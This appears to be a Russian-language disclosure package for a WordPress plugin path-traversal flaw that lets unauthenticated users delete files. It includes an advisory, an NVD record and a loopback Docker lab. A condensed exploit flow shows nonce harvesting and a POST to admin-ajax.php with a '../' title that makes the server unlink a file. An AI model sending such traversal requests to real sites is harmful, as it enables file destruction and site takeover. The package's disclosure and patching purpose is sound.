
Proof-of-concept и пакет раскрытия для CVE-2026-19952 — неаутентифицированного произвольного удаления файлов в плагине WordPress Frontend Admin, с шагами воспроизведения в лабораторных условиях.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-19952
WordPress — Frontend Admin by DynamiApps 3.29.12 — DynamiApps
Плагин Frontend Admin by DynamiApps для WordPress уязвим к удалению произвольных файлов из-за недостаточной проверки пути к файлу в функции move_folders во всех версиях вплоть до 3.29.12 включительно. Это позволяет неаутентифицированным атакующим удалять произвольные файлы на сервере, что легко может привести к удалённому выполнению кода при удалении нужного файла (например, wp-config.php). Это эксплуатируется без аутентификации, когда форма настроена с публичной видимостью (who_can_see='all'), поскольку требуемый nonce общедоступен из отрендеренной формы.
| CVE | CVE-2026-19952 · CVE.org |
| CWE | CWE-22 |
| CVSS | High: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Продукт | WordPress — Frontend Admin by DynamiApps |
| Затронуто | все версии вплоть до 3.29.12 (включительно) |
| Исправлено | 3.29.13 и новее |
| Аутентификация | отсутствует (см. карту исходников) |
| Лицензия | GNU Affero GPL v3.0 |
| Лаборатория | только 127.0.0.1 · пакет раскрытия для вендора/клиента, не сканер |
move_folders — это точка сброса, подключённая к acf/pre_update_value/type=upload_files (галерея), а не upload_file. HTTP — это admin-ajax.php action=frontend_admin/form_submit. Merge-тег — [post:title] из отправленного post_title.
POST/wp-admin/admin-ajax.phpGET /wp-content/poc19952/index.php expect POCWitness19952GET /fea-files-lab/ harvest hiddens and field keysPOST /wp-admin/admin-ajax.php action=frontend_admin/form_submit acff[post][title]=../poc19952 acff[post][files]=1check_submit_form nopriv + who_can_see=allcreate_record post_title _input=../poc19952ActionPost::run acf_update_value on upload_files fieldmove_folders get_dynamic_values([acf:post_title]) -> ../poc19952upload_dir = basedir/../poc19952 = wp-content/poc19952unlink wp-content/poc19952/index.phpGET /wp-content/poc19952/index.php no POCWitness19952[acf:post_title]До POST GET /wp-content/poc19952/index.php содержит POCWitness19952. После POST эта строка исчезает (404). Успешный JSON формы сам по себе — это не оно.
Сделайте это в первую очередь: Обновите Frontend Admin by DynamiApps до 3.29.13 или новее (get_safe_upload_dir).
Проверка после обновления
CVE-2026-19952-Abraxas-Labs.py против пропатченной сборки: отображённое свидетельство не должно появиться.Если вы не можете обновиться немедленно
Цель — только http://127.0.0.1:8088 (или loopback, который вы привязали). Не направляйте этот скрипт в интернет.
python3 CVE-2026-19952-Abraxas-Labs.py
Успех — это свидетельство выше в теле ответа. Обычный 200 HTML — это не оно.
Loopback-стек, использованный для воспроизведения. Официальные образы, если только Dockerfile в этой папке не собирает из исходников.
cd lab
docker compose up --force-recreate
Привяжите дерево уязвимого продукта рядом с Compose, если YAML монтирует локальный каталог (zip плагина / тег исходников из таблицы версий). Не публикуйте ничего, кроме 127.0.0.1.
www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
Каталог плагинов: acf-frontend-form-element
Браузер Trac: plugins.trac.wordpress.org/acf-frontend-form-element
Теги SVN: plugins.svn.wordpress.org/acf-frontend-form-element
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-19952 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-19952`
- CWE: CWE-22
- published: 2026-09-01T05:17:09.747
## NVD description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
## MITRE description
error: <urlopen error [Errno 8] nodename nor servname provided, or not known>
## Affected
## References (JSON sources only)
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1014
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1044
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1047
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/shortcodes.php#L99
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L125
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L276
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.13/main/frontend/fields/general/class-upload-file.php#L1047
- https://www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
- https://github.com/advisories/GHSA-3rrx-59q7-9g4m
- https://nvd.nist.gov/vuln/detail/CVE-2026-19952
## GitHub advisory
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion...
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
Этот пакет раскрытия лицензирован под GNU Affero General Public License v3.0. См. LICENSE.
Этот пакет предназначен для вендора, владельца сайта и лицензированных лабораторий. Скрипт обращается к 127.0.0.1. Использование его против систем, которыми вы не владеете, не авторизовано Abraxas Labs. Без гарантий.